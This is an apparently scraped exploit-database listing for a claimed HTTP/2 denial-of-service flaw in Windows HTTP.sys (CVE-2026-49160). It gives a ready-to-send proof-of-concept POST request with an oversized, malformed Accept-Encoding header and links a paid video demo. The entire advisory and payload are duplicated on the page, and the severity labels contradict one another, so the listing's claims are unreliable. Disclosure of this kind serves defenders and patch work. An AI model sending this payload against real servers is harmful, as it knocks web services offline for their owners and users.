7.5
/ 10
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Description
This advisory provides simple proof of concept details to trigger the HTTP/2 denial of service condition related to malformed Accept-Encoding headers...
Basic Information
ID
PACKETSTORM:224227
Published
Jun 24, 2026 at 00:00
Affected Product
Affected Versions
# Titles: CVE-2026-49160 - HTTP.sys HTTP/2 Denial of Service (DoS) Vulnerability
# Author: nu11secur1ty
# Date: 06/24/2026
# Vendor: Microsoft Corporation
# Software: Windows HTTP.sys (HTTP/2 Protocol Stack)
# Reference: https://nvd.nist.gov/vuln/detail/CVE-2026-49160
## Description:
A critical Denial of Service (DoS) vulnerability exists in the Windows
HTTP.sys kernel-mode driver, specifically in its handling of HTTP/2
protocol requests. The vulnerability, tracked as CVE-2026-49160, allows an
unauthenticated remote attacker to cause uncontrolled resource consumption
(CWE-400) by sending a specially crafted HTTP/2 request with an oversized
and malformed Accept-Encoding header. This triggers excessive memory
allocation and CPU utilization within HTTP.sys, effectively crashing the
service and rendering all dependent web services (such as IIS) unavailable.
The attack can be executed within seconds and does not require any form of
authentication or user interaction. All supported versions of Windows
Server (2016, 2019, 2022, 2025) and Windows client OS (10, 11) are affected
prior to the June 2026 security update.
STATUS: MEDIUM - HIGH/ Vulnerability
[+]Payload:
``` POST
POST / HTTP/2
Host: target.com
Accept-Encoding:
AAAAAAAAAAAAAAAAAAAAAAAA,BBBBBBcccACCCACACATTATTATAASDFADFAFSDDAHJSKSKKSKKSKJHHSHHHAY&AU&**SISODDJJDJJDJJJDJJSU**S,RRARRARYYYATTATTTTATTATTATSHHSGGUGFURYTIUHSLKJLKJMNLSJLJLJSLJJLJLKJHJVHGF,TTYCTCTTTCGFDSGAHDTUYGKJHJLKJHGFUTYREYUTIYOUPIOOLPLMKNLIJOPKOLPKOPJLKOP,OOOAOAOOOAOOAOOOAOOOAOOOAOO,****************************stupiD,*,,
```
[+]Demo:
Video Demonstration
[url](https://www.patreon.com/nu11secur1ty/posts/cve-2026-49160-161926764)
Time spent:
00:01:20
# Author: nu11secur1ty
# Date: 06/24/2026
# Vendor: Microsoft Corporation
# Software: Windows HTTP.sys (HTTP/2 Protocol Stack)
# Reference: https://nvd.nist.gov/vuln/detail/CVE-2026-49160
## Description:
A critical Denial of Service (DoS) vulnerability exists in the Windows
HTTP.sys kernel-mode driver, specifically in its handling of HTTP/2
protocol requests. The vulnerability, tracked as CVE-2026-49160, allows an
unauthenticated remote attacker to cause uncontrolled resource consumption
(CWE-400) by sending a specially crafted HTTP/2 request with an oversized
and malformed Accept-Encoding header. This triggers excessive memory
allocation and CPU utilization within HTTP.sys, effectively crashing the
service and rendering all dependent web services (such as IIS) unavailable.
The attack can be executed within seconds and does not require any form of
authentication or user interaction. All supported versions of Windows
Server (2016, 2019, 2022, 2025) and Windows client OS (10, 11) are affected
prior to the June 2026 security update.
STATUS: MEDIUM - HIGH/ Vulnerability
[+]Payload:
``` POST
POST / HTTP/2
Host: target.com
Accept-Encoding:
AAAAAAAAAAAAAAAAAAAAAAAA,BBBBBBcccACCCACACATTATTATAASDFADFAFSDDAHJSKSKKSKKSKJHHSHHHAY&AU&**SISODDJJDJJDJJJDJJSU**S,RRARRARYYYATTATTTTATTATTATSHHSGGUGFURYTIUHSLKJLKJMNLSJLJLJSLJJLJLKJHJVHGF,TTYCTCTTTCGFDSGAHDTUYGKJHJLKJHGFUTYREYUTIYOUPIOOLPLMKNLIJOPKOLPKOPJLKOP,OOOAOAOOOAOOAOOOAOOOAOOOAOO,****************************stupiD,*,,
```
[+]Demo:
Video Demonstration
[url](https://www.patreon.com/nu11secur1ty/posts/cve-2026-49160-161926764)
Time spent:
00:01:20